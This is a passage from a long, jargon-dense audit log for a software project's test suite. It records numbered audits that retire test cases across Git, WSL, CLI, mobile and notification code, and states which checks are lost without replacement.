rows. These are intentional coverage losses, not replaced alarms. Retained source includes actual SQLite rollback/custody, mutable transcript/deletion and saved-copy compatibility, cursor mutation, clear lineage, auto-release timing/restart/admission and concurrent recovery seams. Historical KEEP decisions are consciously superseded where stated in decisions.json. Source-only evidence; no runtime, CI, native, provider, remote, mobile/folder or global completion credit. Previous account (preserved verbatim): Audit3672 renewed by3676 removes four authored/four finite cases from federation-output.test.ts: nominal show/read routing and terminal-fallback projection; initial archive-table SELECT failure returning retained/no-close; simulated old-peer read/fleet/refusal and method inventory; and absent archive-release capability refusing release. These actual compatibility/guard alarms are intentionally lost without equivalent replacement; the dropped-table case never reaches capture or commit. Current selected frontier9 becomes5: retain actual temporary transcript parsing/path omission, current no-transcript release/unavailable-output/restart/replay regression, and three home deadline/stop nonmutation cases. Prior held-capture case was already removed upstream and receives no new removal credit; prior redacted snapshot archive behavior was rewritten upstream and is not claimed retained here. The surviving driver timing entry stays. Static review/private composition only; no actual peer/network/native/platform or fresh runtime validation. Previous account (preserved verbatim): Audit3671 removes14 authored/32 finite root-unit cases, including the whole WSL move-handler refusal suite, WSL preload object-presence suite and internal gate spelling truth table. Also retire the weak withheld-command non-array shape assertion, static serve-only Add/capability/mock-remove example, grammar scope equality and basic configuration/payload schema roundtrips. Genuine wrong-window/malformed-request/gate-before-work, exact gate spellings/platform/argv precedence, static serve-only routing, declaration mismatch and empty grammar/pair admission alarms are consciously lost without replacement; prior KEEP decisions are reconsidered. Seven unchanged authored/finite root-unit cases retain real image/provider/line budgets, live policy transition/capability broadcast, grammar resource/reference traversal and strict-versus-tolerant literal salvage. Source-value evidence only; no runner/compiler/build/app/native/provider/remote/mobile/folder validation or historical fault claim. Independently remove one authored/finite Playwright closed-gate app-boot inventory: accept loss of real renderer/preload/main refusal composition, saved-host row and Add/Move hiding/Remove visibility alarms. Keep the unchanged scripted-move rendered dialog lifecycle/reload case. It runs no real WSL migration, host connection, file copy or automation restoration. No selector or Playwright participation cleanup is required because the spec remains. Previous account (preserved verbatim): Audit3663 renews approved3644/3645/3648/amended3651 at privatec1ef: remove10authored/26finite across7changedtestpaths,4whole drivers; retain23authored/24finite including actualcmdkStrictMode defaultcursor race. Retire version1.5.0/1.5.1→shrinksImages capability threshold and launch-to-prompt wiring alarm. Surviving prompt tests explicitly supply capability and do not replace wiring coverage. Retire resolved-before-personOnly precedence; hook-gone/live-dialog guidance; stale-incarnation versus live-looking dialog classification; delayed/clipped warning extraction and wait-for-paint wiring; 3row setting/personOnly approve/deny/disclaimer suggestion composition;13row setting/reason/person/coordinator admission, close/mail attribution, terminal delivery/refusal/preanswered/personOnly/dropped-allow handler propagation alarms. Real state/access/SQLite effects occur; these genuine losses are accepted, not mocked-away. Retire full command extraction from serialized JSON in worker receipt and nontruncation alarm; no rendering, actual worker approval or native shell proof. Retire2row extra-source first/last order and controlled default cursor projection, plus generic open-palette livefolder add/remove render alarm. Explicitly supersede rawexact297KEEP refresh. Keep actualcmdk/StrictMode default cursor race driver; no default-suite loss claim. No equivalent replacement asserted. Retained queue/commit/retryownership/filebudget, terminalfreshness/provenance/competing-answer, RPC DB-effect, qualifiedfolder/runtimehandoff and lingering-reopen cases have distinct scope. Audit3675 preserves the upstream revised unreported-approval close regression, its escalation helper and adapted survivors. Source-only static renewal; no runner/compiler/app/native/remote/CI claim. Upstream41390host-owned approvalwatch/report lifetime reviewed separately; no new lifetime test removed. Preserve all earlier metadata/evidence. Audit3634: Remove five authored/five finite cases, including the complete structured chat terminal-refusal, terminal-plus-agent worker-start validation, and canonical Git common-directory parser suites. Also remove the gh free-text -R argument projection case. Consciously supersede prior KEEP decisions and accept chat-versus-stale redirect classification, real RPC refusal-before-SQLite-Dispatch, old-Git echoed-option relative-path parsing, WSL execution-space resolution, and free-text preservation/bare-repo qualification alarms. These are genuine narrow alarms, intentionally retired without equivalent replacements. Retain real Git stdin/EOF delivery, bound-account host admission, naming environment/account precedence, upload iterator cancellation and remote path confinement. Shared fixtures and production code remain. Remove only the dead canonical-repo-key timing entry. Static source-value evidence only; all prior evidence retains historical scope. Audit3636: Remove the entire maintenance opportunity internal-count driver (one authored/two finite cases), the mocked remote worker start-card argument case (one/one), and the follow-up heading mapping table (one/two). Root-unit discovery loses three authored/five finite cases. Independently remove four Python native screenshot methods/five statically enumerated subTest scenarios: grim argv/stub payload, failure-code mapping, X11 mocked capture payload, and capability flags. The Python lane is verify:computer-native and is not root Vitest. Accept loss of exact native command/projection and exception/capability alarms, ready-only card publication arguments/agent forwarding, and serialized follow-up heading mapping; no equivalent replacement is claimed. Retain actual ownership/mail/queue/reopen transitions, remote lost-response fencing and first-result settlement, filesystem/maintenance admission and successor progress, wrong-region screenshot refusal and Sway geometry. The whole-deleted new driver has no timing key; this component requires no timing cleanup. No production changes. Static source-value review only; no project import, runner, app, native desktop or runtime validation established. All prior evidence retains historical scope. Audit3629 removes two singleton parser suites: WSL Claude plugin metadata out-of-range index rejection and Git checkout unlink-warning path extraction. Their real range-refusal and quoted-path extraction alarms are intentionally lost without replacement; no WSL execution, checkout recovery or equivalent remaining coverage is claimed. Audit3630 removes the sole orphan automation availability test (1 authored/1 finite). Its real policy kind, orphan precondition, delete/toggle enablement and run/edit refusal alarms are intentionally lost. The test did not dispatch an action, enforce a server generation fence or observe a remote mutation. No equivalent replacement, actual renderer/transport execution or new platform/provider evidence is claimed. Previous account (preserved verbatim): Audit3628: remove the entire one-authored/one-finite RepositoryRemoveProjectSection happy-dom suite. Accept losing the local zero-to-one-terminal stale-count revalidation alarm: first confirmation defers the removal callback and second confirmation invokes it after the count snapshot updates. The test never asserts updated warning text/count, actual terminal creation or removal/PTY teardown, host/scope routing, cancellation or folder/mobile behavior. No equivalent replacement or end-to-end warning-before-teardown proof asserted. Static evidence only; historical receipts retain original scope. Audit3624: Remove one authored/five finite positive Gemini identity table from the Claude/Gemini title collision driver. The real normalization, legacy label and explicit title evidence owners execute, so ordinary Gemini marker/name/wrapper recognition and normalized-label composition alarms are consciously retired without equivalent replacement; these five supplied title-to-literal identity examples have low marginal value. Preserve the six-row Claude task-text collision oracle, whose unrelated CLI mentions must not rebrand or destructively normalize titles. The other audited drivers preserve real permission-mode session transitions, prompt secret/fence/bounds defenses, JSON-to-Ask option/preview preservation, and optional GitLab failure summary/trace composition. Root-unit discovery loses one authored/five finite cases; no whole driver or timing key is removed. No actual terminal stream, UI routing, application/native or runtime execution established; all prior evidence retains historical scope. Audit3618: Remove three authored/three finite browser reload cases, including the complete renderer reload-actions suite. Agent bridge fake did-fail-load plus permanently supplied manager error projects description/code into a rejection. Renderer seeded empty metadata projects a saved URL into plain webview src; its earlier not-ready case projects a live-id/throwing fake reload into absence of a loading patch. Real queue/wait/error/cache/classifier/hook code executes, but these narrow supplied-state and exception-to-callback wirings have low marginal value; no rerender, lifecycle, actual cache generation/retirement or guest commit is asserted. Explicitly supersede audit1822 not-ready KEEP and preliminary3617 cross-module retain opinion, accepting offline-reload failure reporting, empty guest to saved URL routing, native-reload bypass and premature-loading/stranded-state alarms without replacement. Retain distinct main cancellation queue progression and absent queued side-effect dispatch. Root-unit discovery loses three/three. No Electron guest, network failure, restored navigation/commit, app/native focus or runtime execution established; earlier evidence retains its historical scope. Audit3614: Remove thirty-one authored/thirty-nine finite potential cases across CLI format and argument drivers, including three whole suites: search-result/status sanitation sites, Linear issue/list/warning sanitation sites, and quote-stripped JSON diagnostic secret non-echo. Those real formatter/guard transformations execute on supplied strings; intentionally retire their field-specific CSI/OSC/C1/newline/bell and diagnostic secrecy alarms as low-value caller/output inventories, without replacement. Also retire twenty-one search registrations/twenty-four finite cases covering minimal positional request/default omission, exhaustive all-flags request projection, nominal named query/index routes, repeated syntax/agent examples, enum/agent/path-count/timestamp/numeric/cursor admission examples, unknown/browser flag examples and postcommand last-wins projections; retire one parser sentinel-only case. Keep actual ambiguity, conflicting index request, precommand/crosscommand scoping, variadic reference parsing and missing-repeatable-value controls, without claiming equivalent coverage. Root-unit discovery loses all twenty-nine/thirty-seven. No CLI/RPC/terminal/PowerShell/host/schema/runtime execution is established by this source-only audit; earlier evidence retains its historical scope. Audit3613: remove six authored/six finite callbacks, including whole reviewer-display oversize-input and explorer-root record-filter suites, plus plugin family-emoji/invisible-only-name and pool legacy-name/urgent-countdown samples. Accept losing oversized-input empty-result/no-split, malformed-record/prototype-sensitive-key/nonstring filtering, exact ZWJ family preservation, invisible-only name refusal, no-group old-host full-name preservation, and80/79/null-reset countdown composition alarms. No equivalent replacement asserted. Retained strict/runtime sanitization, SVG parser, mobile focus recovery and collision/tie cases have different scopes. Static evidence only; historical receipts retain original scope. Audit3609: Remove the complete pnpm CLI invocation literal-selection suite (eleven authored/nineteen finite potential cases), with no replacement claimed. Root-unit discovery loses JavaScript-versus-native command selection, npm/npx executable rejection, Windows cmd/bat casing and shell selection, non-Windows cmd behavior, native PNPM_HOME flat/bin preference, explicit-path priority, relative-home rejection, missing-native fallback and non-Windows home-probe refusal alarms. The suite called the real resolver with independently expected objects, but exercised no pnpm/node/cmd process, installed native executable or real filesystem probe. Earlier KEEP decisions are consciously superseded by accepting these narrow branch and probe-inventory alarms as low value. Real symlink entry, Git signing isolation, Bun filesystem/Node child normalization and compiler scheduling/continuation tests remain distinct tests, not equivalent coverage. No runner, compiler, app, platform or remote execution was performed in this source-only audit. Earlier evidence retains its historical scope. Audit3608: remove five authored/five finite callbacks, including whole owner-slug and remote favicon URL suites and two repository-label projections. Lose five owner acceptance samples, eleven negative owner samples plus nonstring refusal, six host-local icon refusal samples, legacy-SSH same-path label-map cardinality, and explicit runtime ownership over stale legacy metadata at label level. These are accepted narrow grammar/presentation alarms with no equivalent replacement claimed. Retained binary parser, React recovery and label grouping/platform cases do not replace these losses. Static evidence only; historical receipts retain their original scope. Audit3606 adopts the enhanced3604/3605 icon cuts: nine authored/nine finite cases removed, including the whole tray-attention-icon suite. Retires the no-encoder oversized-upload null sample, missing-ID/request-order sample, encoder-null PNG-prefix fallback, SVG/404 rejection samples, transparent amber-dot placement and half-alpha white-tint sample, exact small fetched-byte passthrough, host-qualified image-key inventory and constant-encoder large-upload projection. These specific admission, formatting and bitmap alarms are intentionally lost without equivalent replacements. Retained queue/cache, bounded fetch and Dock lifecycle checks do not establish actual raster decoding, native image conversion or rendered appearance. Historical receipts below are preserved evidence for earlier test sets, not fresh validation of this reduced selection. Audit3601 scope: remove the whole custom-sound happy-path IPC suite and one custom-label/multiline notification formatting example (2 authored/2 finite). Intentionally lose configured .ogg selection, exact byte/MIME success wiring, successful dispatch for the formatting fixture, custom-label whitespace/title normalization and assistant-body whitespace/180-character-cap alarms. Retain prompt-exclusion, persisted qualified dismissal/restart, theme ownership/restore and Ghostty precedence/collision cases; none replaces the retired sound/formatting alarms. No actual playback, native delivery, phone/network, cross-platform or new runtime evidence is claimed; historical execution keeps its original scope. Audit3598: Remove seven authored/nine finite literal-table potential test registrations across workflow routing, Claude cold-start and real-zsh preexec drivers. Root-unit discovery loses six authored/six finite: three test-local workflow parser fixtures, the five-positive/three-negative explicit command-paint route inventory, a boot-banner-before-composer sample and an already-painted bare-title positive sample. The separately selected shell_contracts live-shell driver loses one authored/three finite raw-capture paint-only cases across three hook configurations; its real-wrapper launch-order, four rechunkings (twelve finite) and runtime-wait replay remain, without claiming equivalent replacement. Intentionally lose those parser, exact routing-list, banner, post-paint subscription and native-read-boundary paint alarms. Retained workflow/UNIT_EXCLUDE/classifier cross-source routing checks and readiness-race-to-writer timing are distinct bounded alarms. No runner, real shell, PTY, app, native focus, remote delivery, cross-platform execution or full-feature correctness is established by this source-only audit. Earlier evidence retains its historical scope. Audit3597 scope: remove two renderer-hang-capture examples (2 authored/2 finite): an invalid repeated-token oversized reducer fixture and a shorter unanswered-request fixture. Intentionally lose the direct truncated flag/sanitized frame fixture and request-pending status/zero-sample alarms. Retain window-death/stale-result exclusion, generation reconciliation, and baseline-publication cancellation lifecycles; they are not equivalent bound, redaction or pending-status replacements. Historical execution retains its original source scope; no new runtime evidence is claimed. Audit3591: Retire the whole one-case background journal-producer attribution suite and the fabricated malformed-details-block case (two authored/two finite cases). Intentionally lose the fixed own-task versus output/foreign-task attribution examples across flat/message row shapes, missing-root classification, and direct unbalanced/detailsish fabricated-block rejection alarms. Retained parser sibling/depth and editor navigation tests do not replace these alarms. No equivalent replacement or fresh runtime, transport, persistence, native focus or rendered UI validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3592: Retire the whole three-case shared agent smart-key resolver suite, explicitly superseding its Audit3238/3237 keep decisions. Intentionally lose literal permission-versus-question classification, longest-question digit selection, Codex async-question opener/digit/Enter/skip mapping, and unsupported-agent/state/prompt refusal examples. These were real parser/selection and literal-byte alarms; they did not exercise terminal delivery or timing. No equivalent replacement or fresh runtime, native TUI, mobile, remote or performance validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3587/3588: Retire six authored/fourteen finite cases, including the whole WSL stopped-notice and connecting-status selector suites. Intentionally lose direct WSL retry connection field/target/ready-epoch/null-guard examples, connecting/reconnecting distro and absent-state selector samples, and stopped/connecting notice text/button/data-attribute examples. Retained host-ready retry and content-loader/reload lifecycles do not replace these alarms. No equivalent replacement or fresh runtime, native WSL, remote, rendered UI or performance validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3580: Retire the whole one-case runtime host environment prototype/subclass suite. Intentionally lose the exact configured lower-case Windows Claude home to account-identity normalization and host-account override precedence alarm previously retained by Audit3129. No equivalent replacement or fresh runtime validation is claimed. Earlier dated keep statements below describe their historical source scope; the current suite is removed. Audit3563 scope: retire the whole Kiro OSC/hook identity suite and the OpenCode2 identity-only case; reduce Codex cached startup child-retirement and missing-session-ID tables to one case each (2 authored/4 finite removals). Intentionally lose Kiro alias/session continuity, OpenCode2 completed OSC identity continuity, cached replacement without relay-generation restart, and missing-previous-ID context-preservation alarms. Remaining provider, remote compatibility, persistence and cross-session pollution cases are not equivalent replacements. Also remove the private Codex roster-size assertion while retaining public child-absence checks. Historical evidence retains its original source scope; no new execution or transferred pass validates these reductions. Audit3553/3559 current scope: delete worktrees-delete-pty-teardown.test.ts and worktrees-issue-command-overrides.test.ts entirely and remove three cases from worktrees-orphan-directory-cleanup.test.ts (6 authored/6 finite removals). Intentionally retire typed unserved-SSH create/delete admission, exact-name collision/error-token, proven-orphan no-force confirmation, standalone .git-directory refusal, and SSH-owned local-path preservation alarms. Retain only actual authorized orphan deletion and no-marker notes-file preservation; they are not equivalent replacements. The no-marker fixture resolves the default getRepos owner, so it does not prove temporary owner-repo binding. Git/Store/PTY/notifications are mocked; no physical process stop, durable metadata, real SSH delivery or native UI proof is claimed. Unchanged historical oracle, coverage, evidenceRuns and escaped receipts retain their original scopes only; no fresh execution or transferred pass validates the reduced sources. Audit3492 composes ROOT-approved75(AUTHOR3475/PEER3476 and AUTHOR3485/PEER3481, including five-field clarification and zero-credit selector3483) plus123(AUTHOR3486/PEER3487 reconciled FINAL3491, including peer case10:3 and9:0 wording clarifications). It intentionally removes198 authored registrations/232 finite literal-table potential registrations across70 changed JS/TS test sources, including45 whole suites;87 authored/90 finite potential registrations remain across95 reviewed JS/TS bodies. One mobile native-suspension manual recipe and the now-unreferenced GitLab mock fixture helper are separately removed with zero registration credit. Static literal table potential is not execution. No equivalent replacement, fresh runtime result or merge credit is claimed. Earlier135 complete dated receipts, all raw gaps and full prior98/161/history notes retain their exact scopes and bytes. The additional123 retirement accepts loss of mocked GitLab request/error/identity/classification inventories; basic Linear migration and metadata discovery; simulated OpenCode key failed-save retention/retry/log redaction; analytics identity-flush smoke that did not prove ordering; AppImage static entry guards and empty-staging cleanup; GPU/process/minidump breadcrumb/annotation shapes and weak redaction oracles; namespace/status/foreign-launcher ownership guards and persistence roundtrips; profile transfer field projections; worker hook/screen/incarnation/result admission/classification guards; and source-coupled CLI transaction fixtures. Privileged publication failure injection was a false-positive: its mkdir regex missed -m 700 and outer rejection accepted an inner assertion before any shell ran. The identity-flush case awaited identity after flush and could pass despite early flush. Retained actual negative-token cache recovery, SQL filter-before-LIMIT open approval, unreadable-root FTS preservation/degradation, latest-connect-wins persistence, worker stop-debt settlement, unmodified same-inode foreign-content transaction, explicit incomplete-pagination error, FTS own-message snippet association, filter-before-route result and bounded-search truncation honesty are distinct bounded outcomes, not replacements for retired alarms. Case9:0 checks both roots before chmod but only mounted-session/degraded-root after chmod. Entire extraction-root suite is removed; no retained extraction cleanup is claimed. Removing the manual iOS foreground-stall shell script loses its unique real native-suspension recipe; timer tests do not replace it. First-match PIDs, indefinite waiting, broad success matching and absent trap cleanup made that diagnostic brittle and able to leave a desktop stopped. The current Windows operational driver remains byte-exact, preserving already-merged removal of orcad-convert and orcad-cli-convert selectors and the retained cmd/powershell/managed CLI lanes. The package skill-sharing release selector loses only the exact already-retired skills-suite token; no extra test credit. Included approved75 retirement account follows (historical proposal labels identify provenance; final198 counts above control): Audit3488 composes ROOT-approved source49(AUTHOR3485/PEER3481, including its immutable five-field clarification) and source26(AUTHOR3475/PEER3476): intentionally removes75 authored registrations/87 finite potential registrations across35 changed sources, including25 whole suites;35 authored/36 finite potential registrations remain in the combined reviewed scopes. Literal table potential counts are not executions. This source-only reduction has no equivalent replacement, fresh runtime result or merge credit. Root unit discovery deliberately loses entire message-row filtering/chunk reconstruction, discussion-pagination rejection passthrough, Linear bearer/stack redaction, new-profile telemetry/default/existing-JSON no-op, WSL user-trigger routing, terminal-delivery refusal, native-chat worker-approval UI, followup-paste routing, live-surface tombstone refusal, activity-bar hydration, fabricated approval-caller policy, child-PATH transformation and branch-review URL/identity suites. It also loses cache roundtrip/mode/fingerprint/fallback/no-op samples; GPU field-shape privacy examples; older auth-probe failure retention; orphan SQLite-sidecar/future-schema admission; usage tie/duplicate/composite-key examples; allocation-name sanitizer/unknown-prefix examples; real worker-and-backup preflight wrapper smoke; and JSONL descriptor-loop truncation. The discussion page contained id-only discussions without notes, so its rejection did not prove a nonempty notes-prefix oracle. The preflight did launch actual worker/backup entrypoints with production internal self-validation; removing its revision/version wrapper deliberately retires that real-entry smoke alarm. The skipped-prefix JSONL keeper rewrites/grows after collecting the suffix and before final validation, not concurrently during parsing. Retained queue rejection/recovery and held/drain mechanisms, recorder nonsettling-provider deadline, corrupt authoritative-DB refusal, legacy cache split migration, merge-added-row indexing, external-frame redaction, and pinned JSONL read/verification/mutation checks are bounded concrete oracles, not equivalent replacements for retired alarms. The full cloud relay cohort/ceiling/control suite is separately removed from the relay package runner, outside root unit discovery; no cloud runtime result is claimed. The Python computer-use benchmark remains unchanged tooling with zero authored/removal credit; no native benchmark trial ran. The package skill-sharing release selector drops only the exact already-deleted skills-suite token, with zero additional removal credit. Prior dated receipts, raw gaps, and complete earlier161/98/history notes remain exactly at their original scopes; no changed-source historical receipt becomes fresh reduced-suite evidence. Included approved26 alarm account: Broad root-unit discovery loses entire ref-label string, hostile/malformed CSV-link rendering, Codex filename-discovery, mocked paged-preview postscan mutation, usage path-containment, real symlink-ancestor, Codex skip RPC, local/remote inference routing, width-preference, and synthetic workspace-document input suites. It also loses the hand-assembled sorted CSV edit example, connect-time JPEG seed and invalid AVCC guard samples, and eight-record/64KiB detector boundary cases. The symlink suite exercised actual kernel traversal; its lost ancestor alarm could omit supplemental local editor watches and leave content stale, not bypass authorization. Retained linked stream cancellation, preview-only save fence, failed-flush dirty-draft preservation, clipboard byte/edit preservation, fragmented AVCC parsing and independent quoted-CSV interpretation checks do not replace these deliberately retired alarms. The stream fixture uses an in-memory source and does not establish actual fd cleanup; editor save endpoints are synthetic, browser events are synthetic, and no native focus, actual remote delivery, real disk write, cross-platform execution or interoperability is claimed. Earlier complete dated receipts, raw known gaps and previous notes are historical evidence at their original source/selector scope, not fresh evidence for this reduced suite. Audit3438 composes ROOT-adopted3434/independent3436: intentionally removes60 authored/62 potential expanded cases across16 sources, deleting9 whole suites. Eight authored/eight potential cases remain; delete the102line unused ACP fixture and57line unused teardown helper with zero test credit. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses ACP model-catalog fixtures, resume-record projections, dashboard mock payload/state cases, mobile folder/launch/session examples and dictionary pipeline rows. Selected E2E removals also retire auto-conversion and golden-core journeys and one Windows CLI conversion registration. Retain ACP reply text across a resumed subagent, both VAD checks, focused tab send ownership, async focus ownership in happy-dom, the question-skip journey, the original managed Windows CLI lifecycle journey and dictionary substitution. These checks do not replace the removed alarms. Audit3470 composes ROOT-approved AUTHOR3466/PEER3467 source proposal: intentionally removes38 authored registrations/59 finite potential expansions, including8 whole registering suites, retaining13 authored registrations/18 finite potential expansions. The sole dead shell-recipe caller cleanup has zero additional test credit. No equivalent replacement, fresh runtime or merge credit is claimed. Broad root-unit discovery loses process-import boundary, Korean/Japanese locale policy, worker-reset, mobile agent-history/queued-message and median-summary suites, plus packaged mobile-manifest, worker-pool fixture, HTML preview, mobile shell and terminal samples. The environment-provider contract and its sole shell-recipe caller are deleted. Separate cross-version-wire discovery loses the large byte-budget fresh-snapshot/replay sample while retaining independent live same-revision note publication; the retained terminal stale-refresh and dirty HTML draft persistence checks do not replace removed alarms. The source4 unused start/stop fixture hooks are removed; its retained nested failed-import test remains byte-exact with its own lifecycle. Unchanged SVG preview and Git-resolution registrations stay intact. Root balanced CI excludes the cross-version directory, which has a separate job; unbalanced root discovery can include its parent. No native app/device, actual remote, released-pair interoperability or cross-platform execution result is claimed. Audit3468 accepted source proposal AUTHOR3462/PEER3463, composed privately by audit3469: removes62 authored registrations/95 finite potential expansions, including5 whole suites, retaining25 authored registrations/29 finite potential expansions. ROOT approved source value; no equivalent replacement, fresh runtime or merge credit is claimed. Broad root-unit discovery loses the profile-state worker smoke, worker-agent views and three search discovery suites, plus samples from node-server qualification, skill-bundle generation, CLI hooks/profile/recovery/offline admission, permission-hook holds and search indexing. The separate Cloud relay runner loses one relay blackbox sample; unchanged mobile native-chat and dependent-transcript drivers remain. Retained source callback/table/ancestor/fixture bytes bind to the sealed candidate. No physical-device, mixed-version, remote, cross-platform or app execution result is claimed. Audit3460 final-v2 composes accepted AUTHOR3454/PEER3455 on actual post263 main: intentionally removes99 authored/106 potential expanded cases across16 selected drivers, including7 whole suites, retaining24 authored/26 potential cases. No equivalent replacement or fresh runtime is claimed. Broad root-unit discovery loses whole cross-client workspace-sync, terminal-preview, picker-skill-hint and close-routing suites plus reduced worker-stop, remote-owned-record, scanner, mobile-bundle and daemon-health samples. Separate E2E discovery also loses the paired mobile/desktop mirror journey and two unit drivers. Retained callback/table/outer-loop/guard bytes are exact; retained checks do not replace the removed alarms. No app, native device, mixed-version, remote or cross-platform execution result is claimed. Audit3456 composes ROOT-adopted3449/independent3450: intentionally removes62 authored/82 potential expanded cases from16 selected drivers, including7 whole suites, while13 authored/13 potential cases remain. Delete the unused48line legacy workspace-session JSON fixture with zero test credit. These are source-only reductions without equivalent replacement or fresh runtime claims. Broad unit discovery intentionally loses whole trust-dialog observer, background-turn notifications, redirected session refusal, typed-agent identity, chat-tab lifetime-cost, model-manager and mobile diff-review controller suites, plus individual persistence, synthetic composition, pairing, manifest and subprocess samples. Retain deferred snapshot dirty-domain persistence, two direct editor ownership cases, stream counter-domain distinction, two persisted pairing identity cases, parser entrypoint asymmetry, dictation retry and process-group timeout; paired restart and packaged old-binary/corrupt-profile journeys remain in their E2E driver scope. Retained checks do not replace removed alarms. No fresh execution, native IME/microphone, real authentication, mixed-version/platform or performance result is claimed. Audit3451 composes ROOT-adopted3444/independent3445: intentionally removes101 authored registrations across16 reviewed sources, deleting7 whole suites and reducing8; one reviewed source is unchanged. Fresh main has123 authored registrations before and22 after because an upstream direct-child shell regression remains verbatim with zero removal credit. Registered removals are100+7*S and explicit-active removals99+7*S, where S is the unprobed count0..3 of admitted bash/zsh/fish shells. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses extra stream lifecycle/forwarding examples, unreadable-store/cache projections, orchestration presentation/benchmark cases, remote-owned routing matrices, mobile legacy navigation and model-catalog listing/cache examples. Whole suites retire renderer client-event projections, manually assembled structured-session reader ownership, mobile prompt presentation, renderer AI-vault resume commands, mobile Jira URL lookup, composer retention and mobile folder source-repository queries. Retained checks preserve original stream/store/orchestration/routing/navigation/catalog cases and shell behavior, including the upstream direct-child case. No real provider, native desktop or mobile acceptance is established by this reduction. Audit3446 composes ROOT-adopted3441/independent3442: intentionally removes100 authored registrations/119 potential expanded cases (118 conditional-active before platform gates) across16 sources, retaining11 authored/13 expanded cases and deleting6 whole suites. Two parent registrar import/call cleanups and the unused68line CLI recording fixture carry zero test credit. No equivalent replacement or fresh execution is claimed. Broad unit and mobile discovery loses interrupt/wake registrars, task storage/session-close/account snapshot hooks, permission tables, copy/preference/model-discovery/composer examples, launch placement examples, VM projections and extra mobile-history scenarios. Retained checks cover abandoned versus dispatched fork uncertainty; /fast dispatch supersession; discovery lock release after exit; stale-send draft preservation; OSC status lifetime; future-version file preservation; launch cancellation before/during dispatch on both layout owners; mobile resume addressability before hooks; and recipe snapshot cleanup after plugin removal. The paired browser-link Electron source is unchanged. Terminal launch seams, mobile roles-only history and injected provider results do not establish native terminal destruction, transcript text fidelity or real remote provider cleanup. Audit3437 composes ROOT-adopted3431/independent3432: intentionally removes127 authored/174 potential expanded cases across12 sources, deleting7 whole suites and one267line unused helper without test credit. Retain8 authored/13 potential cases. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses reduced or deleted relay, coordinator mail, recovery watchdog, automation observer, launch picker, folder PTY, profile restart, web migration, retirement, pointer delivery, agent-row and run-bound mailbox examples. Retained checks cover relay hello/payload and SIGTERM drain, coordinator pending-check and clear-to-Run continuity, profile persistence, the full six-row web merge table and real run-bound delivery waiter. These do not replace removed alarms. Audit3429 composes root-adopted3426/independent3427: intentionally removes168 authored/205 potential expanded cases across16 semantic sources, deleting11 whole suites and one304line unused assertion helper. Five authored/five potential cases remain; the duplicate500k graph row is dropped while its50k row and callback remain. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses the adopted migration/recovery/federation/rich-draft/paste/automation/mobile/catalog examples. Keep server-edit preservation during migration, native supervised cancellation holding the agent home until physical stop, pagehide lost-text preservation, graph old-result WRAPPER WeakRef collection with50k rows, and mobile React render isolation. The WeakRef does not prove all commit objects are collectible or a memory budget. Audit3425 composes root-adopted3420/independent3421: intentionally removes83 authored/112 potential expanded registrations across13 semantic sources, deleting7 whole conventional suites and1 registering helper;7 authored/10 potential expanded cases remain. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses the adopted mock orchestration, refusal, restart and storage examples. Retain unchanged two-phase real-WSL deployment/survival, the reduced idle-release holder proof without restart/first-output measurement, real worker stop/release cleanup barrier rows, physical Git branch-preservation rows, and SSH disconnected-close proof. Other SSH and CLI variants and WSL telemetry/warmup churn are intentionally removed. Audit3417 composes root-adopted3415v2/independent3416v2: intentionally removes117authored/173potential expanded registrations from12semantic sources, deleting4whole conventional suites and3registration modules and retaining4authored/5expanded cases, without equivalent replacement or fresh execution. Broad root-unit discovery loses naming/title/queued-host fixtures, main-window focus-shortcut and attach-services mock orchestration, Git Bash console-capacity fake process inventories, most real-Git preparation/locking variants and Claude/Codex catch-up examples. Keep lifetime rejected-writer followed by late termination proof and autonomous real-checkout cleanup; two-row real-Git rollback after a real move preserving a replacement/admin marker or revoked permission; a live translator write during a held transcript read fencing stale Claude history append; and Codex expected-item revision rejection before a historical writer shim. Codex driver registers retained bounds exactly once with original inputs; bounds does not prove modern writer persistence. Accepted changed-lock preflight sentinel and omitted-parent routing losses are not replaced. Audit3413 composes root-adopted3405/independent3406 and3409/independent3410: intentionally removes337 authored registrations/363potential expanded cases from13sources, retaining31authored/32potential cases and deleting one whole clipboard suite, without equivalent replacement or fresh execution. Broad root-unit discovery loses35WSL examples,22STT examples,22shared-server-banner examples,18clipboard-handler examples (whole suite deleted),14VM lifecycle examples and16commit-message cancellation examples. Retain4WSL and7STT mocked connector/worker cases,1rendered stale-banner refusal,2VM guard/failed-compensation cases and1late-stream ownership cancellation case; real WSL/microphone/remote-provider proof is not established. Separately discovered e2e-unit drivers lose13cross-version-wire local cases and15mobile active-publication cases, keeping same-process disk-reopen/new-host cursor content/epoch/sequence outcomes and a host/renderer-snapshot selection and inventory revision race respectively. Imported released stop-note scenarios remain unchanged and receive no duplicate credit. Cloud suites are outside root UNIT_INCLUDE. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. The broad root-unit command loses the UNIT_INCLUDE src/ subset of retired examples; mobile is outside UNIT_INCLUDE. Other lost alarms are recorded by the adopted per-case source reviews. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, 